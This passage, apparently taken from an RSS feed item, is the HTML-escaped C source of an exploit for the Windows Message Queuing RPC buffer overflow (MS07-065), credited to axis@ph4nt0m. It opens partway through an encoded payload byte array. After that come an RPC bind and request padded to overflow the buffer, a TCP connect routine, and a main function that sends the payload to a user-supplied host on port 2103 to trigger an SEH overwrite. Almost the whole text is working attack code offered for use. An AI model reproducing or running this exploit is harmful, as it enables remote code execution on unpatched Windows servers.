0x67, 0xec, 0xeb, 0x39, 0x83, <br/>0x8c, 0xd2, 0x96, 0x8e, 0x2c, 0x3f, 0x42, 0x9e, <br/>0x66, 0x5f, 0x1e, 0xae, 0xec, 0x3d, 0x71, 0xa6, <br/>0x7b, 0xd5, 0xde, 0xb3, 0xbc, 0xd0, 0x96, 0xc1, <br/>0x57, 0x3f, 0x5d, 0x8e, 0xec, 0xc4, 0x01, 0x2f, <br/>0xec, 0xf4, 0x15, 0xdc, 0x0f, 0x3a, 0x53, 0x8c, <br/>0x8b, 0xe4, 0xe2, 0x54, 0x01, 0xe7, 0x7b, 0xea, <br/>0x54, 0x86, 0x75, 0xf5, 0x14, 0x86, 0x42, 0xd6, <br/>0x98, 0x64, 0x75, 0x49, 0x8a, 0x48, 0x26, 0xd2, <br/>0x98, 0x62, 0x42, 0x0b, 0x82, 0xd2, 0x9c, 0x6f, <br/>0x6f, 0xb6, 0x48, 0xe8, 0x65, 0x4b, 0xcd, 0xea, <br/>0xbe, 0xbd, 0xe8, 0x2f, 0x30, 0x4b, 0xcb, 0xd1, <br/>0x34, 0xe7, 0x4e, 0xd1, 0x24, 0xe7, 0x5e, 0xd1, <br/>0x98, 0x64, 0x7b, 0xea, 0x63, 0x36, 0x7b, 0xd1, <br/>0xee, 0x55, 0x88, 0xea, 0xc3, 0xae, 0x6d, 0x45, <br/>0x30, 0x4b, 0xcb, 0xe8, 0x77, 0xe5, 0x48, 0x7d, <br/>0xb7, 0xdc, 0xb9, 0x2f, 0x49, 0x5d, 0x4a, 0x7d, <br/>0xb1, 0xe7, 0x48, 0x7d, 0xb7, 0xdc, 0xf8, 0xcb, <br/>0xe1, 0xfd, 0x4a, 0x7d, 0xb1, 0xe4, 0x49, 0xd6, <br/>0x32, 0x4b, 0xcd, 0x11, 0x0f, 0x53, 0x64, 0x44, <br/>0x1e, 0xe3, 0xe2, 0x54, 0x32, 0x4b, 0xcd, 0xe4, <br/>0x0d, 0xd0, 0x7b, 0xea, 0x04, 0xd9, 0x94, 0x67, <br/>0x0d, 0xe4, 0x44, 0xab, 0xab, 0x3d, 0xfa, 0xe8, <br/>0x23, 0x3d, 0xff, 0xb3, 0xa7, 0x47, 0xb7, 0x7c, <br/>0x25, 0x99, 0xe3, 0xc0, 0x4b, 0x27, 0x90, 0xf8, <br/>0x5f, 0x1f, 0xb6, 0x29, 0x0f, 0xc6, 0xe3, 0x31, <br/>0x71, 0x4b, 0x68, 0xc6, 0x98, 0x62, 0x46, 0xd5, <br/>0x35, 0xe5, 0x4c, 0xd3, 0x0d, 0xb5, 0x4c, 0xd3, <br/>0x32, 0xe5, 0xe2, 0x52, 0x0f, 0x19, 0xc4, 0x87, <br/>0xa9, 0xe7, 0xe2, 0x54, 0x0d, 0x4b, 0xe2, 0xb5, <br/>0x98, 0x64, 0x96, 0xd5, 0x9b, 0x37, 0xd9, 0xe6, <br/>0x98, 0x62, 0x4f, 0x7d, 0xb7, 0xdc, 0xf2, 0x4c, <br/>0x87, 0xd4, 0x4e, 0x7d, 0xb1, 0x4b, 0xcd, 0x82, <br/>0x67, 0xb4, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41&#125;;<br/><br/><br/>char request_2&#91;&#93; = &#123;<br/>0x05, 0x00, 0x00, 0x82, 0x10, 0x00, 0x00, 0x00, <br/>0x18, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, <br/>0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, <br/>0x30, 0xa0, 0xb3, 0xfd, 0x5f, 0x06, 0xd1, 0x11, <br/>0xbb, 0x9b, 0x00, 0xa0, 0x24, 0xea, 0x55, 0x25, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, <br/>0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, <br/>0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 &#125;;<br/><br/><br/><br/>void usage(char *argv) &#123;<br/>&nbsp;&nbsp; printf(&quot; Usage:&nbsp;&nbsp; %s -h 127.0.0.1 (Universal exploit)&#92;n&quot;,argv);<br/>&nbsp;&nbsp; printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%s -h host &#91;-p port&#93;&#92;n&quot;,argv);<br/>&nbsp;&nbsp; printf(&quot; Targets:&#92;n&quot;);<br/>&nbsp;&nbsp; exit(1);&nbsp;&nbsp;&nbsp;&nbsp;<br/>&#125;<br/><br/><br/><br/>/************* TCP connect *************************/<br/><br/>void Disconnect(SOCKET s);<br/><br/><br/>// ripped from isno<br/>int Make_Connection(char *address,int port,int timeout)<br/>&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;struct sockaddr_in target;<br/>&nbsp;&nbsp;&nbsp;&nbsp;SOCKET s;<br/>&nbsp;&nbsp;&nbsp;&nbsp;int i;<br/>&nbsp;&nbsp;&nbsp;&nbsp;DWORD bf;<br/>&nbsp;&nbsp;&nbsp;&nbsp;fd_set wd;<br/>&nbsp;&nbsp;&nbsp;&nbsp;struct timeval tv;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;s = socket(AF_INET,SOCK_STREAM,0);<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(s&lt;0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;target.sin_family = AF_INET;<br/>&nbsp;&nbsp;&nbsp;&nbsp;target.sin_addr.s_addr = inet_addr(address);<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(target.sin_addr.s_addr==0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(s);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -2;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;target.sin_port = htons((short)port);<br/>&nbsp;&nbsp;&nbsp;&nbsp;bf = 1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;ioctlsocket(s,FIONBIO,&amp;bf);<br/>&nbsp;&nbsp;&nbsp;&nbsp;tv.tv_sec = timeout;<br/>&nbsp;&nbsp;&nbsp;&nbsp;tv.tv_usec = 0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;FD_ZERO(&amp;wd);<br/>&nbsp;&nbsp;&nbsp;&nbsp;FD_SET(s,&amp;wd);<br/>&nbsp;&nbsp;&nbsp;&nbsp;connect(s,(struct sockaddr *)&amp;target,sizeof(target));<br/>&nbsp;&nbsp;&nbsp;&nbsp;if((i=select(s+1,0,&amp;wd,0,&amp;tv))==(-1))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(s);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -3;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(i==0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(s);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -4;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;i = sizeof(int);<br/>&nbsp;&nbsp;&nbsp;&nbsp;getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&amp;bf,&amp;i);<br/>&nbsp;&nbsp;&nbsp;&nbsp;if((bf!=0)&#124;&#124;(i!=sizeof(int)))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(s);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -5;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;ioctlsocket(s,FIONBIO,&amp;bf);<br/>&nbsp;&nbsp;&nbsp;&nbsp;return s;<br/>&#125;<br/><br/><br/>void Disconnect(SOCKET s)<br/>&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;closesocket(s);<br/>&nbsp;&nbsp;&nbsp;&nbsp;WSACleanup();<br/>&#125;<br/><br/>/****************************************************/<br/><br/><br/><br/>int main(int argc, char * argv&#91;&#93;)&#123;<br/><br/>&nbsp;&nbsp; unsigned char * target = NULL;<br/>&nbsp;&nbsp; int port = 2103;<br/>&nbsp;&nbsp; int i;<br/><br/>&nbsp;&nbsp; int&nbsp;&nbsp;ret;<br/>&nbsp;&nbsp; char buffer&#91;6000&#93; = &#123;0&#125;;<br/>&nbsp;&nbsp; SOCKET&nbsp;&nbsp;s;<br/>&nbsp;&nbsp; WSADATA WSAData;<br/><br/>&nbsp;&nbsp; printf(&quot;--------------------------------------------------------------------------&#92;n&quot;);<br/>&nbsp;&nbsp; printf(&quot;-== Windows Message Queuing Service RPC BOF Exploit (MS07-065) ==-&#92;n&quot;);<br/>&nbsp;&nbsp; printf(&quot;-== code by axis@ph4nt0m ==-&#92;n&quot;);<br/>&nbsp;&nbsp; printf(&quot;-== <a href="Http://www.ph4nt0m.org" target="_blank">Http://www.ph4nt0m.org</a> ==-&#92;n&quot;);<br/>&nbsp;&nbsp; printf(&quot;-== Tested against Windows 2000 server SP4 ==-&#92;n&quot;);<br/>&nbsp;&nbsp; printf(&quot;--------------------------------------------------------------------------&#92;n&#92;n&quot;);<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if (argc==1) usage(argv&#91;0&#93;); //Handle parameters<br/>&nbsp;&nbsp;&nbsp;&nbsp; for(i=1;i&lt;argc;i++) &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ( (argv&#91;i&#93;&#91;0&#93;==&#039;-&#039;) ) &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch (argv&#91;i&#93;&#91;1&#93;) &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case &#039;h&#039;:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target=(unsigned char *)argv&#91;i+1&#93;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case &#039;p&#039;:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (strcmp(argv&#91;i+1&#93;,&quot;2103&quot;)==0) &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;&#91;+&#93; Attacking default port 2103&#92;n&quot;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125; else &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; port=atoi(argv&#91;i+1&#93;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;&#91;-&#93; Invalid argument: %s&#92;n&quot;,argv&#91;i&#93;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usage(argv&#91;0&#93;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i++;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125; else usage(argv&#91;0&#93;);<br/>&nbsp;&nbsp;&nbsp;&nbsp; &#125;<br/><br/>/********************** attack payload ***************************/<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(WSAStartup (MAKEWORD(1,1), &amp;WSAData) != 0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, &quot;&#91;-&#93; WSAStartup failed.&#92;n&quot;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WSACleanup();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#125;<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Sleep(1200);<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s = Make_Connection((char *)target, port, 10);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(s&lt;0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, &quot;&#91;-&#93; connect err.&#92;n&quot;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Send our evil Payload&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;&#91;*&#93;Sending our Payload, Good Luck! ^_^&#92;n&quot;);<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;&#91;*&#93;Sending RPC Bind String!&#92;n&quot;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(s, bind_str, sizeof(bind_str), 0);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(1000);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;&#91;*&#93;Sending RPC Request Now!&#92;n&quot;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(buffer, &#039;&#92;x41&#039;, sizeof(buffer));&nbsp;&nbsp;// fil the buffer to trigger seh<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(s, request_1, sizeof(request_1), 0);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(s, buffer, 5104, 0);&nbsp;&nbsp; // fil the buffer to trigger seh<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(s, request_2, sizeof(request_2), 0);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(100);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(buffer, 0, sizeof(buffer));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret = recv(s, buffer, sizeof(buffer)-1, 0);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//printf(&quot;recv: %s&#92;n&quot;, buffer);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Disconnect(s);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br/>&#125;</div><br/><br/><br/>
]]>
</description>
</item>
</channel>
</rss>